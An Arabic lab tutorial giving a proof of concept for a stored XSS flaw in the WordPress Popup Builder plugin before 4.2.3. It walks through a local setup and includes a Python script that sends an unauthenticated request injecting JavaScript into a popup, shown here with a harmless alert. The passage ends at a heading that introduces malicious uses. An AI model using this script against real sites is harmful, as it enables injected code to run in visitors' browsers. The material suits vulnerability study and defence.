
يكشف هذا الثغر عن خلل XSS في إضافة منبثقة لـ WordPress، مما يسمح للمهاجمين بحقن JavaScript ضار من خلال XSS مخزّن.
تتيح هذه الثغرة للمهاجم استغلال خلل في البرمجة النصية عبر المواقع (XSS) في إضافة Popup Builder لووردبريس. تفشل الإضافة في منع الزوار العاديين من تعديل النوافذ المنبثقة الموجودة، ومن خلال إرسال طلب مُصمم خصيصًا إلى الخادم، يمكن للمهاجم حقن نصوص برمجية ضارة في النافذة المنبثقة، والتي سيتم تنفيذها عندما يتفاعل المستخدمون مع النافذة.
في هذا الإثبات العملي (POC)، سيتم تفعيل الثغرة عن طريق التلاعب بسلوك فتح النافذة المنبثقة، حيث سيتم حقن نص برمجي بسيط لعرض تنبيه (alert) ليتم تشغيله عند فتح النافذة. يمكن أن يؤدي هذا النوع من الهجمات إلى مجموعة من المشكلات، بما في ذلك الوصول غير المصرح به إلى المعلومات الحساسة والمزيد من استغلال الموقع المتأثر، مما قد يعرض بيانات المستخدم أو الموقع بأكمله للخطر.
لهذا الإثبات العملي يمكننا استخدام جهاز يعمل بنظام Windows 10 وتنزيل XAMPP : https://www.apachefriends.org/download.html
بعد التثبيت، تأكد من تشغيل وحدات Apache وMySQL:

يتطلب ووردبريس، مثل معظم أنظمة إدارة المحتوى، قاعدة بيانات لتخزين جميع بياناته الأساسية. قاعدة بيانات SQL التي سننشئها تعمل كوحدة تخزين مركزية لكل هذه المعلومات.
يمكن تنزيل الإصدار الضعيف من إضافة Popup Builder من موقعهم الرئيسي: https://wordpress.org/plugins/popup-builder/advanced/
اختر إصدارًا أقدم من الإصلاح في 4.2.3:

بعد ذلك، اذهب إلى صفحة ووردبريس الإدارية - http://localhost/wordpress/wp-login.php
الإضافات -> إضافة إضافة جديدة -> رفع إضافة -> اختر ملف .ZIP الذي تم تنزيله وقم بالتثبيت
في صفحة إدارة ووردبريس، يمكننا إنشاء صفحة أمامية بسيطة بالذهاب إلى الصفحات -> إضافة صفحة جديدة -> اختيار نموذج.
بالنسبة للنافذة المنبثقة، اذهب إلى Popup Builder -> إضافة جديد -> اختيار النوع وتخصيصه.
لهذا الإثبات العملي، اخترت نافذة اشتراك، حيث أنها واحدة من أكثر النوافذ المنبثقة شيوعًا على المواقع اليوم.

في علامة تبويب قواعد العرض (Display Rules)، يمكنك إرفاق النافذة المنبثقة بصفحتك الأمامية:

الآن عندما ندخل صفحتنا الأمامية باستخدام http://localhost/wordpress/
يمكننا رؤية نافذتنا المنبثقة وهي تظهر.
لتنفيذ الاستغلال، نحتاج أولاً إلى تحديد معرف النافذة المنبثقة (Popup ID).
يمكن القيام بذلك بالانتقال إلى الموقع، وتفعيل النافذة المنبثقة، وفتح علامة تبويب الشبكة (Network) في أدوات المطورين.
ابحث عن طلب admin-ajax.php، وهو مكون أساسي في ووردبريس يستخدم لمعالجة طلبات AJAX.
يستفيد Popup Builder من هذا لإدارة وظائف مثل الحفظ والتحديث والمعاينة والتحكم في النوافذ المنبثقة داخل ووردبريس.
ضمن علامة تبويب الحمولة (Payload)، يمكننا العثور على معرف النافذة المنبثقة:

بعد العثور على معرف النافذة المنبثقة، يمكننا استخدام البرنامج النصي التالي لتفعيل الاستغلال:
import requests
# Define the target URL for the vulnerable site
url = "http://localhost/wordpress/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"sgpb-is-preview": "1",
"post_ID": "22", #use the Popup ID we found
"sgpb-type": "html",
"sgpb-WillOpen": "alert('Stored XSS Executed Successfully');" #custom JS code goes here
}
# Send the POST request and output the results
response = requests.post(url, data=data)
print(response.text)
بما أننا نستطيع تعديل النافذة المنبثقة، يمكننا أيضًا التحكم في توقيت تشغيل JavaScript المخصص لدينا. إذا ذهبنا إلى صفحة إدارة ووردبريس، في إعدادات النافذة المنبثقة يمكننا رؤية خيار "Custom JS or CSS" (JavaScript أو CSS مخصص)، وهذا سيتحكم في توقيت الكود المخصص:

يمكننا بعد ذلك دمج هذا في البرنامج النصي الخاص بنا وفقًا للاستخدام المطلوب.
بعد تشغيل البرنامج النصي، يمكننا رؤية في صفحة إدارة ووردبريس أنه تمت إضافة سطر جديد إلى قسم JavaScript المخصص في نافذتنا المنبثقة:

الآن عند دخول الموقع كمستخدم عادي، يمكننا رؤية الرسالة التالية تظهر (prompt):

يمكننا أيضًا رؤية أن رسالتنا قد تم حفظها داخل قاعدة بيانات SQL (تحت جدول wp_postmeta افتراضيًا) مما يؤكد أنها XSS مخزنة:

تسمح ثغرة XSS المخزنة هذه في إضافة Popup Builder للمهاجم بتضمين JavaScript ضارة يمكن تنفيذها كلما تفاعل مستخدم مع النافذة المنبثقة المصابة. فيما يلي طرق لاستغلالها بشكل ضار: